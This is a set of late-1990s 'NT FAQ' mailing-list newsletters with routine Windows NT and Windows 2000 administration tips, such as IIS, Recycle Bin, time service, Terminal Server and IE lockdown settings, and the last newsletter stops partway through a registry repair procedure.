From: John Savill [john@savilltech.com] Sent: 17 November 1999 19:34 To: NTFAQ Mailing List Subject: NT FAQ, 17 November 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Bubbleboy new virus released, first virus to not need to open an attachment in a mail message to infect system. More details in next weeks letter or check the NT FAQ web site. New additions last week: Q. Statistics Server will not run on IIS 5.0? Q. What is Native Structured Storage? Q. How can I fool a program into thinking my NT installation is actually Windows 95? Q. Where are files in the Recycle bin actually stored? Q. My recycle bin is corrupt? Q. What is the difference between cmd.exe and command.com? Q. How can I configure the command prompt to output to files in UNICODE/ANSI? Q. How can I configure the command line history, DOSKEY? Q. My PNP PCI cards do not all work in Windows NT. Q. How can I configure the time service in Windows 2000? Q. How can I configure Administrative Alerts in Windows 2000? Q. How can I tell if my Windows 2000 installation is registered? Q. I can't add a 4.0 BDC to my Windows 2000. Q. How can I uninstall IIS 4.0 and Option Pack 4? Q. I'm unable to install the Command Console on a mirror in Windows 2000. ----------------------------------- Q. Statistics Server will not run on IIS 5.0? A. IIS 5.0 has a "feature" which makes IIS reserve port 80 on all IP addresses which means other services cannot use the port such as statistics server. It is possible to stop this by performing the following: Start a command prompt (cmd.exe) Move to C:\Inetpub\AdminScripts Enter the command: adsutil.vbs set w3svc/disablesocketpooling true A confirmation will be displayed: disablesocketpooling : (BOOLEAN) True Close the command window Restart the comptuer Socket spooling should only be disabled under the following conditions A low number of sites are being hosted There are special security concerns Another application or server has need of port 80 on an IP address -------------------------------------------------------------------------------- Q. What is Native Structured Storage? A. Native Structured Storage or NSS was originally a new feature in Windows 2000 however it has been withdrawn due to problems with other system components. Native Structured Storage (NSS) was a method to transparently store ActiveX document files in a multi-stream format on NTFS volumes. Since NSS is no longer supported Active X document files are now stored in the normal document file format. Windows 2000 Beta 3 supplied a utility NSS2DOC.EXE (it is not supplied in newer beta releases) which converts NSS files to normal document file formats. This program is run automatically during upgrade and any problems logged in %systemroot%\setuperr.log. You can also run manually using: C:\> NSS2DOC -ca Normal causes for automatic conversion failure are: Files encrypted using the NTFS encrypted file system (since the account used at setup can not decrypt the files) Files that cannot be written due to their security settings (run NSS2DOC as the user who owns the files to get round this problem) Certain .tmp files, which are not fully flush when written and so may contain no real content -------------------------------------------------------------------------------- Q. How can I fool a program into thinking my NT installation is actually Windows 95? A. Windows NT 4.0 ships a utility called IMAGECFG.EXE in the support\debug folder of the Windows NT 4.0 CD-ROM (it does not ship with Windows 2000). Also in the support\debug folder are the files setwin95.cmd - to set the system in Windows 95 mode setnt351.cmd - to set the system in Windows NT 3.51 mode To run you just run imagecfg with on of the the files. Type imagecfg /? for more information. -------------------------------------------------------------------------------- Q. Where are files in the Recycle bin actually stored? A. When you delete a file and the recycle bin is enabled the file is not actually deleted but just moved to the recycle bin. A hidden folder is creating on each volume that has the recycle bin enabled named Recycled. Any deleted files are moved to this folder and renamed to: D. and the original full name and path stored in a mapping file Info (Info2 in Windows 98). For example the file name D:\www.ntfaq.com\index.html would become Dd1.html (if it was the first file deleted on the partition) -------------------------------------------------------------------------------- Q. My recycle bin is corrupt? A. The Info file in the Recycler folder sometimes gets corrupted and thus will shown a empty recycle bin even though there are plenty of files in the Recycler folder. Windows will automatically recreate the Info file if its missing so the easiest way to repair is to delete the Info file: Start a command prompt (cmd.exe) Move to the Recycler folder Enter the command attrib -h info*.* Delete the file del info Restart the computer If its the actually Recycler folder that has become corrupted you may need to delete this by removing the system and hidden attributes (attrib -h -s c:\recycler) and then deleting. -------------------------------------------------------------------------------- Q. What is the difference between cmd.exe and command.com? A. Windows NT/Windows 2000 supply cmd.exe and command.com. CMD.EXE is the Windows NT command line interface, its NOT a DOS window. COMMAND.COM is a 16-bit DOS application which is used for older DOS compatibility and actually runs inside the NTVDM (NT Virtual DOS Machine) due to its 16-bit nature. What may surprise you is the face that COMMAND.COM and CMD.EXE have almost identical features and this is because any command entered in COMMAND.COM it is packaged up and sent to CMD.EXE for execution and thanks to this COMMAND.COM can take advantage of all the functions and facilities of CMD.EXE. This is possible as the version of COMMAND.COM shipped with NT IS a special NT version designed to pass all execution to CMD.EXE. If you had Task Manager running you would actually see a CMD.EXE process started when executing commands in COMMAND.COM. -------------------------------------------------------------------------------- Q. How can I configure the command prompt to output to files in UNICODE/ANSI? A. Windows NT/2000 includes full UNICODE support and its possible to configure a CMD.EXE session to output in UNICODE or ANSI (ANSI being the default) To set this when starting the CMD.EXE session just add: /A - Output to files or pipes will be in ANSI /U - Output to files or pipes will be in Unicode For example cmd.exe /u would start a session in UNICODE output mode. -------------------------------------------------------------------------------- Q. How can I configure the command line history, DOSKEY? A. In olden DOS days a utility was available, DOSKEY.EXE, which enabled the user to cycle through previous commands. In NT this is enabled by default and you can cycle through old commands however DOSKEY has other abilities. To clear the current command line history use command: doskey /reinstall You can also optionally tell it how many old commands to keep with the /listsize parameter doskey /reinstall /listsize=50 would keep 50 old commands. Its also possible to create macros which allow you to assign a complex command to a single word, for example doskey dird=dir /ad Would create a macro dird which only lists directories. Its also possible to assign a macro to a specific command level application using the /exename switch, for example doskey /exename=nslookup.exe sets=server 10.129.210.71 Entering sets in NSLOOKUP would now set the server to 10.129.210.71. To view current macros for an image use doskey /exename= /macros, for example C:\> doskey /exename=nslookup.exe /macros sets=server 10.129.210.71 -------------------------------------------------------------------------------- Q. My PNP PCI cards do not all work in Windows NT. A. There are some problems with BIOS settings when NT is being installed on a machine designed for Windows 95/98 There have been a number of cases where frustrated users had trouble installing network cards and such for NT on machines designed for windows 95/98 (like HP Pavillion, etc). Usually, there is a simple BIOS setting that lets you specify whether the OS is PNP compliant. Setting this to "No" or "Other" usually takes care of most problems. -------------------------------------------------------------------------------- Q. How can I configure the time service in Windows 2000? A. Windows 2000 Kerberos authentication protocol relies quite heavily on all domain controllers having a common time and so Windows 2000 ships with the W32Time (Windows Time) service. A hierarchical approach is taken to assigning time: All clients desktops and member servers use their authenticating domain controller as their in-bound time partner All domain controllers in a domain use the Primary Domain Controller (PDC) Flexible Single Master of Operations (FSMO) as the in-bound time partner The PDC FSMO's use the domain hierarchy to pick their in-bound time partner Obviously this means the PDC FSMO becomes the authoritative time source for the enterprise and should be configured to gather the time from an external source. Until this is done you will see events in the Event Log stating the W32Time service is not configured. To configure Windows 2000 to use an external time server use the command: C:\> net time /setsntp:192.4.41.40 There are a number of external time servers you can use based at the U.S. Naval Observatory ntp2.usno.navy.mil - 192.5.41.209 tick.usno.navy.mil - 192.4.41.40 tock.usno.navy.mil - 192.5.41.41 When you perform the /setsntp it actually updates registry entry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters\ntpserver. SNTP uses UDP port 123 so ensure this is not blocked by any proxy servers/firewalls. For more information have a look at w32time.doc file found at ftp://ftp.microsoft.com/ResKit/y2kfix/x86/w32time/w32time.doc, although this was written for the w32time program as used in NT4, not the w32time service as used in w2k, it is still well worth reading over this file. You should also read Q224799 - Basic Operation of the Windows Time Service: http://support.microsoft.com/support/kb/articles/Q224/7/99.ASP. Below are some of the other registry parameters for the W32 time service: Name Description LocalNTP (REG_DWORD) According to w32time.doc, setting this value to 1 (the w32time program uses an .ini file and sets the value to "yes") sets up the local machine as a SNTP server. Log (REG_DWORD) Setting this value to 1 gets the time service to write to the System Log when the time is sync'd. The default is 0. NTPServer (REG_SZ) This is the (S)NTP server to get the time from. This can be set from the command line using "net time /setsntp[:serverlist]". w32time.doc states ' BroadcastClient' and 'MulticastClient' are reserved names and can't be used for NTP Servers.' But I don't know what BroadcaseClient and MulticastClient stand for. Period (REG_SZ) See w32time.doc, and the kb article above - I think the behaviour might be different for the service than PrimarySource (REG_SZ) Lists the NetBIOS names of all the Master Time Servers in the network. Each name must be prefixed with 2 backslashes (\\) and names are separated by semicolons (;) RandomPrimary (Unknown type, probably a REG_DWORD) Selects a random primary server from the PrimarySource list ReliableTimeSource Presumably REG_SZ, with the name of the RTS server. SecondaryDomain (REG_SZ) Tells a Secondary machine which domain to broadcast its Time Request to. From w32time.doc - If you leave the entry blank, the Secondary machine will query its own domain for time information. This is very helpful in a Master or Multiple Master domain model, where the Network Administrators dont want to set up each domain with its own Primary Time Server(s). TAsync See w32time.doc for a detailed explanation Type (REG_SZ) NTP/PRIMARY/SECONDARY. See w32time.doc Thanks to Matthew Ellis for taking the time to unearth the above registry entries. -------------------------------------------------------------------------------- Q. How can I configure Administrative Alerts in Windows 2000? A. Windows 2000 Professional has no GUI interface to set Administrative alerts, instead you need to manually update the registry: Start regedt32.exe (NOT regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Alerter\Parameters Double click AlertNames On each line enter the username or computer who should get the alert Click OK Close the registry editor For machines to receive the alerts their Alerter service must be running (this can be started using the Services control panel applet or in Windows 2000 use the Computer Management MMC and select the Services branch) Windows 2000 Server still includes a version of Server Manager (srvmgr.exe) which can also be used to configure alerts by selecting a computer, select Properties from the Computer menu, click the Alerts button. -------------------------------------------------------------------------------- Q. How can I tell if my Windows 2000 installation is registered? A. When Windows 2000 is registered it updated registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegDone with registration information. If its blank then you are not registered. I don't know the exact format this data will take as you can't register yet :-) -------------------------------------------------------------------------------- Q. I can't add a 4.0 BDC to my Windows 2000. A. A 4.0 BDC in a Windows 2000 is a supported configuration however a problem exists when the 4.0 BDC machine account tries to be created. The Machine Account for This Computer either does not exist or is inaccessible. If you attempt to add the computer account from an already installed Windows NT 4.0-based BDC using the Srvmgr tool, the following message occurs: The Network Request is not supported. The following error message is logged on the Windows 2000-based PDC: Source: SAM EVENT ID: 12298 DESCRIPTION:The Account "COMPUTER$" Cannot be converted to be a domain controller account as its object class attribute in the directory is not a computer or is not derived from computer. If this is caused by an attempt to install a pre Windows 2000 Domain, then you should recreate the account for the domain controller with the correct object class. To workaround this problem use the SRVMGR tool that is shipped with Windows 2000 to create the account. -------------------------------------------------------------------------------- Q. How can I uninstall IIS 4.0 and Option Pack 4? A. Knowledge Base article Q244988 (http://support.microsoft.com/support/kb/articles/Q244/9/88.ASP) describes the procedure excellently. Below is a summary of what you need to do: If using SQL back it up Stop and reset the startup type for IIS services and all other nonessential services, including but not limited to third-party products, all Exchange services, and SQL services to manual (Start - Settings - Control Panel - Services - Startup) Reboot the server Before removing IIS, remove FrontPage Server Extensions if they are in use (Start - Programs - WIndows NT 4.0 Option Pack - Microsoft Internet Information Server - FrontPage Server Administrator - Uninstall) Remove the Windows NT Option Pack (Start - Programs - Windows NT4.0 Option Pack- Windows NT 4.0 Option Pack Setup - Select Remove All) Delete the IUSR_computer and IWAM_computer accounts from within Windows NT User Manager (USRMGR.EXE) Run the DCOMCNFG utility and set the Default Impersonation Level to Identify (run DCOMCNFG.EXE, select Properties, in Default Impersonation Level box, click Identify) Restart the computer. Run RDISK to create a new ERD Reinstall the latest Windows NT Service Pack. Restart the computer. Run RDISK again (to a different disk or share) Clear out the event logs in Windows NT using Event Viewer (Start - Programs - Administrative Tools - Event Viewer) Download and install the latest version of the Microsoft Data Access Components (from http://www.microsoft.com/data/download.htm) If SQL is installed run the SQL Setup program and choose the Update option. Reset the startup type of the services previously stopped to Automatic, and then start the services one program grouping at a time, to make sure that they start correctly. If SQL is installed run the SQL admin and restore the databases from the backup you created in step 1. -------------------------------------------------------------------------------- Q. I'm unable to install the Command Console on a mirror in Windows 2000. A. As we saw in 'Q. How do I install the Recovery Console?' the recovery console can be used to boot into a special console that allows us to repair an inoperable Windows 2000 installation. Like a normal Windows installation we cannot install on a mirrored partition (be it a basic or dynamic mirror set) and so if the system partition is part of a mirror (the partition with Ntldr, ntdetect.com etc.) you need to break the mirror, install the recovery console then recreate the mirror: Start the Computer Manager MMC snap-in (Start - Programs - Administrative Tools - Computer Management) Select the Storage branch Select the Disk Management leaf Break the mirror Install the recovery console as normal (WINNT32 /CMDCONS) Recreate the mirror Note: In Windows 2000 you can only create mirrors on dynamic disks although older mirror sets are supported from an upgrade to 4.0 to Windows 2000 on a basic disk but if you broke the mirror you would have to upgrade to dynamic disks to recreate. -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Testing on Windows 2000 is going well and Beta 3 should be out early next week (1 week later than originally thought)

Standard items:

The NT FAQ book can now be reserved via Amazon.com and should be out June/July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss

New additions last week:

Q. What Service Packs are available for Windows NT Terminal Server Edition?
Q. How can I stop users accessing local drives via Internet Explorer?
Q. What additional restrictions are available in Internet Explorer IE4.01 SP2 and above?
Q. I've connected two computers using two 56K modems but I never connect at more than 33Kb, why?
Q. How can I create a domain trust through a firewall?
Q. I have lost my Windows 98 installation key, how can I find it?
Q. How can I change colour within a batch file?

-----------------------------------------------------------------------

Q. What Service Packs are available for Windows NT Terminal Server Edition?

A. Windows NT Terminal Server Edition is supplied with Service Pack 3 built in. The following Service Packs are available for Windows NT 4.0 Terminal Server Edition.

Service Pack 4 - http://www.microsoft.com/ntserver/terminalserver/downloads/recommended/tsesp4/ordercd.asp

Special hotfixes (when available) can be downloaded from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/hotfixes-postSP3

--------------------------------------------------------------------------------

Q. How can I stop users accessing local drives via Internet Explorer?

A. If you type "C:" (or any other drive) in the Microsoft Internet Explorer address box you will be shown the contents and if proper NTFS file permissions are not in place users will be able to delete, rename, read any files on the disk. This is usually a problem if you have a locked down environment where users do not normally have access to Explorer etc (such as an Internet Cafe).

To stop the ability to view local drives from Internet Explorer perform the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
3, From the Edit menu select New > DWORD value.
4, Enter a name of NoRun and press Enter
5, Double click the new value and set to 1. Click OK to close the value edit dialog.
6, From the Edit menu select New > DWORD value.
7, Enter a name of NoDrives and press Enter
8, Double click the new value and set to a number representing the drives you wish to hide (explained below). Click OK to close the value edit dialog.
9, For IE 4.01 SP1 and above perform the following steps:
    1. From the Edit menu select New > DWORD value.
    2. Enter a name of NoFileUrl and press Enter
    3. Double click the new value and set to 1. Click OK to close the value edit dialog.
10,Close the registry editor

The NoRun setting disables viewing local files by typing a file address or URL (for example, "file://d:\") in the Address box, and also disables the Run command on the Start menu.

The NoDrives setting disables the selected drives. It is explained in 'Q. How can I hide drive x from users?'. Basically drive A is 1, B is 2, C is 4, D is 8 etc. and you add the values together. So to hide drive C and D, you would add 4 and 8 which is twelve or C in hexadecimal and set NoDrives to C (selecting Hex mode).

Additional restrictions can be applied to IE 4.01 Service Pack 2 and IE 5.0 which are described in 'Q. What addition restrictions are available in Internet Explorer IE4.01 SP2 and above?'

--------------------------------------------------------------------------------

Q. What additional restrictions are available in Internet Explorer IE4.01 SP2 and above?

A. Additional restrictions can be applied to IE 4.01 Service Pack 2 and IE 5.0 which have an updated Shdocvw.dll.

The restrictions below should be added to HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions of type DWORD value. Set to 1 to be enable, 0 to disable.

NoFileOpen Disables Open command on File menu, CTRL+O, and CTRL+L.
NoFileNew Disables CTRL+N NoBrowserSaveAs Disables Save and Save As on the File menu.
NoBrowserOptions Disables Internet Options on the View menu (disables changing browser settings).
NoFavorites No Favorites menu, adding to favorites, or organizing favorites.
NoSelectDownloadDir Prevents user from being able to select download folder by not displaying the Save As dialog box when a file is downloaded.
NoBrowserContextMenu Disables HTML context menu.
NoBrowserClose Disable ALT+F4.
NoFindFiles Disables the F3 key.
NoTheaterMode Disables the F11 key.

NoFindFiles and NoTheaterMode are created by default during the installation of Service Pack 2 but are of type BINARY due to limitations of .inf files. You can, if you wish, delete and recreate these as DWORD values.

Also HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\ Toolbars\Restrictions\NoToolbarOptions can be created which disables adding, removing, or moving toolbars.

--------------------------------------------------------------------------------

Q. I've connected two computers using two 56K modems but I never connect at more than 33Kb, why?

A. The problem is that your modems cannot send faster than 33.6k. The 56k technologies, such as X2, K56flex and the new standard V.90 are asymmetric - 56k from a service such as an ISP to you, and 33.6k (maximum negotiated rate, may be less) from you to an ISP.

Having one of your V.90 modems call the other won't create a connection faster than 33.6k since neither side can transmit faster than 33.6k. The 56Kb is possible because the line from your house to the telephone company switching office is analog, and that the rest of the path from the CO to the service (ISP) is 100% digital. At the service end, they specifically install digital modems designed to operate as the service end of V.90/X2/K56flex connection.

This means you would need on of the boxes the same kind of modem that an ISP would buy. You may find however that you can't get one of those without also having the digital phone circuit to connect it to.

If you need 56Kb look at ISDN. The easiest way to setup a system which can accept 56K V90 incoming connections is to get an ISDN2 or home highway and a 3COM Courier-I modem. The Courier-I can act as a standard and ISDN modem. It will also act in V90 mode as a server it it detects an incoming analogue call across the ISDN.

--------------------------------------------------------------------------------

Q. How can I create a domain trust through a firewall?

A. When creating trust relationships communications between the two domains is carried out over a number of protocols with each protocol using different TCP/IP port. Below is a list of ports which need to be enabled on the firewall for a trust relationship:

PORT 135 (TCP or UDP) for Remote Procedure Call(RPC)Service
PORT 137 (UDP) for NetBIOS Name Service
PORT 138 (UDP) for NetBIOS datagram (Browsing)
PORT 139 (TCP) for NetBIOS session (NET USE)
ALL PORTS above 1024 for RPC Communication
You may use LMHOSTS for name resolution (which would have #pre #dom entries for the domain controllers) or WINS can be used which requires:

PORT 53 (TCP and UDP) for DNS
PORT 42 (TCP and UDP) for WINS Replication
Alternatively, a trust can be established through point-to-point tunnelling protocol (PPTP). For PPTP, the following ports must be enabled:

PORT (TCP) 1723 for PPTP
IP PROTOCOL 47 (GRE)
Also see the following knowledge base articles:

Q167128 SMS: Network Ports Used by Remote Helpdesk Functions
Q174395 Event ID 4202 Attempting WINS Replication across Router

--------------------------------------------------------------------------------

Q. I have lost my Windows 98 installation key, how can I find it?

A. The installation key is stored in the Windows 98 registry and can be checked as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
3, Double click the ProductKey name and copy
4, Click OK
5, Close the registry editor

You can also get the key by opening the system properties dialog (Win-Break, Alt-Open My Computer, Control Panel) etc. It appears under the "Registered To" details

--------------------------------------------------------------------------------

Q. How can I change colour within a batch file?

A. You can use the Windows NT Workstation 4.0 Color command to set the Command Prompt window colors. For example:

C:\> color 06

sets the colour to yellow on black. The first part is background colour, the second the foreground and are:

0 Black
1 Blue
2 Green
3 Aqua
4 Red
5 Purple
6 Yellow
7 White
8 Gray
9 Light Blue
A Light Green
B Light Aqua
C Light Red
D Light Purple
E Light Yellow
F Bright White

So color 2F would be bright white on Green..

--------------------------------------------------------------------------------

Till next week.

John


From: John Savill [john@savilltech.com] Sent: 20 January 2000 19:29 To: NTFAQ Mailing List Subject: *** NT FAQ, 19 January 2000 *** All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Final code of Windows 2000 is now on MSDN so go download if you have a MSDN subscription. Compaq, Dell, IBM and HP are among the major PC makers that will begin selling Windows 2000 systems on January 24-th, earlier than the 17th Feb shelf date! DelOld is now out for beta, goto http://www.savilltech.com/delold. Its basically useful for purging away files over certain ages. It is only BETA so don't run on any live servers until you have tested it and be careful incase it deletes files you don't want deleted. I've actually created a help file and installer package! I'm also looking for a good advertising agency in America to find adverts for the FAQ, if anyone has any contacts or would like to advertise a product or service on the FAQ please mail me. This will allow me to add new features to the FAQ that I need some additional funding for :-) No, I'm not telling! New additions last week: Q. How can I remove an item from the New context menu? Q. Is it possible to administer a 4.0 domain from a Windows 2000 machine? Q. How do I create a unix-like hardlink on NTFS? Q. What security mailing lists exist for keeping up to date? Q. How can I stop the Exchange SMTP service performing reverse lookups? Q. Where is SCOPY in Windows 2000? ---------------------------------------------------------------------- Q. How can I remove an item from the New context menu? A. Many applications such as Office and other document based programs may add options to the New context menu. This can slow down the system since IE 4 as to generate this list it has to fetch the icons for each of the documents. Its possible to remove items from the new context menu by performing the following: Identify the file extension for the context menu item, for example obd for Microsoft Office Binder (if you are unsure of the extension just create a document of the type then check the extension) 1, Start the registry editor (Regedit.exe) 2, Move to HKEY_CLASSES_ROOT\., e.g.HKEY_CLASSES_ROOT\.obd 3, Delete or rename the ShellNew key. It may not always be at the root of the key, for example to disable .obd I had to goto HKEY_CLASSES_ROOT\.obd\Office.Binder.9\ShellNew. 4, Close the registry editor The context item should no longer be displayed -------------------------------------------------------------------------------- Q. Is it possible to administer a 4.0 domain from a Windows 2000 machine? A. Many utilities used to administer an NT 4.0 domain do not come with Windows 2000 or work in a different way, however you could copy over the NT 4.0 administration utilities to a Windows 2000 machine and administer the domain with no adverse effects. Have a look at 'Can I administer my domain from an NT Workstation?' which gives you a quick way to install the tools. -------------------------------------------------------------------------------- Q. How do I create a unix-like hardlink on NTFS? A. Hard links are pointers to files and are indistinguishable from the original directory entry. Any changes to a file are effective regardless of the name used to refer to the file (the original name or the link name). Hard links cannot span file systems or drives and are not currently supported within NFS mounts or from NTFS to the mount. The Server Resource Kit Contains ln.exe in the POSIX subdir. ln.exe is _not_ listed in the "Alphabetical List of Utilities". POSIX.wri contains some notes on it, but the "error" syntax is different than the syntax listed in POSIX.wri. POSIX.wri indicates an -s arg for symlinks too which seem to not work. Also contrary to POSIX.wri use backslash in paths. Thanks to Jeff Absher for this information -------------------------------------------------------------------------------- Q. What security mailing lists exist for keeping up to date? A. Mailing lists will help keep you up to date with all the latest bugs, exploits and information on security. Hackers like to keep up to date with this information so maybe you should too. If you have and interest and a need for security I personally do recommend joining mailing lists, but do be prepared for the amount of mail you will receive. Digest version of mailing lists are also available which send only the general highlights from a given period of time. Below are two of the most popular mailing lists for NT security. - NTBugtraq NTBugtraq is a mailing list for the discussion of security exploits and security bugs in Windows NT and its related applications. To join, send e-mail to listserv@listserv.ntbugtraq.com and, in the text of your message (not the subject line), write: subscribe ntbugtraq To remove, send e-mail to listserv@listserv.ntbugtraq.com and, in the text of your message (not the subject line), write: unsubscribe ntbugtraq - NT Security To join, send e-mail to majordomo@iss.net and, in the text of your message (not the subject line), write: subscribe ntsecurity To remove, send e-mail to majordomo@iss.net and, in the text of your message (not the subject line), write: unsubscribe ntsecurity NT Security Mailing List is a moderated mailing list discussing Windows NT security as well as the Windows 95 and Windows For Work Group security issues. The issues discussed will be everything at the host and application level security as well as at the network level. Below is a list of some of the other well-known and popular security related mailing lists: GENERAL SECURITY MAILING LISTS Alert Best of Security Bugtraq COAST Security Archive Computer Privacy Digest (CPD) Computer Underground Digest (CuD) Cypherpunks Cypherpunks-Announce European Firewalls Firewalls Intruder Detection Systems Infsec-L NTBugtraq NT Security Phrack PRIVACY Forum Risks SAS (French Speaking Firewalls) S-HTTP Sneakers Secure Socket Layer - Talk UNINFSEC - University Info Security Forum Virus Virus Alert WWW Security SECURITY PRODUCTS SOS Freestone Firewall package Tiger TIS Firewallk Toolkit VENDORS AND ORGANISATIONS CERT CIAC HP Sun See http://xforce.iss.net/maillists/ for more information on security mailing lists and how to join them. Contributed by Nathan House -------------------------------------------------------------------------------- Q. How can I stop the Exchange SMTP service performing reverse lookups? A. Some SMTP hosts do a reverse Domain Name Service (DNS) lookup for security reasons when an SMTP connection is established. If this reverse lookup fails to resolve properly, they will possibly drop the connection. To disable reverse lookup for Exchange perform the following: Start the registry editor (Regedit.exe) Move to HKEY_LOCAL_MACHINE\System|CurrentControlSet\Services\MSExchangeIMC \Parameters\ Double click on DisableReverseResolve (or create of type DWORD if not there) Set the type to binary and enter 1. Click OK Close the registry editor -------------------------------------------------------------------------------- Q. Where is SCOPY in Windows 2000? A. Scopy was a useful NT 4.0 resource kit utility that enabled files/folders to be copied with their ACL's and audit settings kept intact. SCOPY is not supplied in the Windows 2000 Resource Kit but its functionality has instead been packaged into the XCOPY utility. /X copies the audit settings (as /a in SCOPY) /O copies ACL information (same as SCOPY) /S copies subdirectories (same as SCOPY) -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- John


From: John Savill [john@savilltech.com]
Sent: 19 May 1999 16:18
To: NTFAQ Mailing List
Subject: NT FAQ Mailing, 19 May 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

The FAQ is moving home! After a number of problems with the current provider I have decided to move to the to a much larger ISP. Many have noticed the FAQ seems slow and this is because the provider placed a CPU limit on the site basically choking it and rendering it unusable.

The new home is costing eight times the old cost but in return the FAQ is on a MUCH faster backbone and server giving substantially improved access times. I would expect the DNS changes to have taken effect by the end of this week.

As part of the move, the search engine is replaced by Index Server (although I've recompiled my CGI under NT so those calling the search from your own sites will not experience problems) and a number of other changes (including new Discussion Board software).

This is why I am not updating the FAQ this week as I am basically working round the clock moving the FAQ from a Unix based system to an NT based system to minimize any inconvenience to the readers.

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out early July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last week:

Q. How do I send a message to a Terminal Server client?
Q. How do I locate machines that are running Terminal Server?
Q. How can I check if a user is logged on via Terminal Server?
Q. I receive an error message "The System is not fully installed", what can I do?
Q. How can I recreate 'My Briefcase' if I deleted it?
Q. How can I check if a Virus warning is real or a hoax?
Q. Audio and Video are unavailable in NetMeeting via Proxy server, why?
Q. How can I use Chat behind a Proxy server?
Q. Can I rename a site? - Windows 2000

-----------------------------------------------------------------------------

Q. How do I send a message to a Terminal Server client?

A. Terminal Server supports two methods of communicating with a Terminal Server client process.

The first is via the GUI:

1, Start the Terminal Services Manager MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Manager)
2, Expand the domain - Server and a list of connected processes will be shown
3, Right click on the process and select 'Send Message' from the context menu
4, You can then enter a title for the message and a message text. Click OK

To send from the command line perform use the MSG command,

msg <user> [/time:<seconds>] [/w] [/server:<server name>] <message>

For example:

C:\> msg savillj /w Get off that computer John!

The /w switch will force the administrators session to pause until the user has clicked OK to the message.

--------------------------------------------------------------------------------

Q. How do I locate machines that are running Terminal Server?

A. Starting the Terminal Services Manager MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Manager) will list machines running the Terminal Server services by expanding the domain. It can also be done with the following command:

qappsrv [/address] [/domain:<domain name>] [/continue]

For example

C:\> qappsrv /address
Known Terminal servers Network Node Address
---------------------- ------- ------------
DEMO                          [ A024E34948]*

The /domain is optional unless you wish to query a domain other than the machines membership and /continue does not pause after each screen of information.

--------------------------------------------------------------------------------

Q. How can I check if a user is logged on via Terminal Server?

A. Starting the Terminal Services Manager MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Manager) will list user processes by machine but this may be cumbersome if a large number of terminal servers are running. It can also be done with the following command:

query user [<user name>] [/server:<server name>]

For example

C:\> query user
USERNAME   SESSIONNAME     ID  STATE   IDLE TIME   LOGON TIME
>administrator  console    0   Active          . 09/05/99 18:19
 savillj        rdp-tcp#1  1   Active         10 09/05/99 14:23

The above lists all users.

You can also check what the user is running with the QPROCESS command:

C:\> qprocess <user name>

To check who is running a certain program (e.g. winword.exe)

C:\> qprocess <process>

will list all users running the passed program.

--------------------------------------------------------------------------------

Q. I receive an error message "The System is not fully installed", what can I do?

A. This is normally caused by using SYSPREP with a 3rd party network client and is caused by a registry entry being incorrectly updated.

To correct you will need to install a second copy of NT onto the system and perform the following:

1, Boot into the second copy of NT
2, Start the registry editor (regedt32.exe)
3, Select HKEY_LOCAL_MACHINE
4, From the Registry menu select 'Load Hive'
5, Move to the %systemroot%\system32\Config directory of the primary NT installation and select the System file. Click Open
6, Type any name for the key, e.g. "System primary" and click OK
7, Double click the new hive, expand Setup and double click SystemSetupInProgress
8, Change from 1 to 0. Click OK
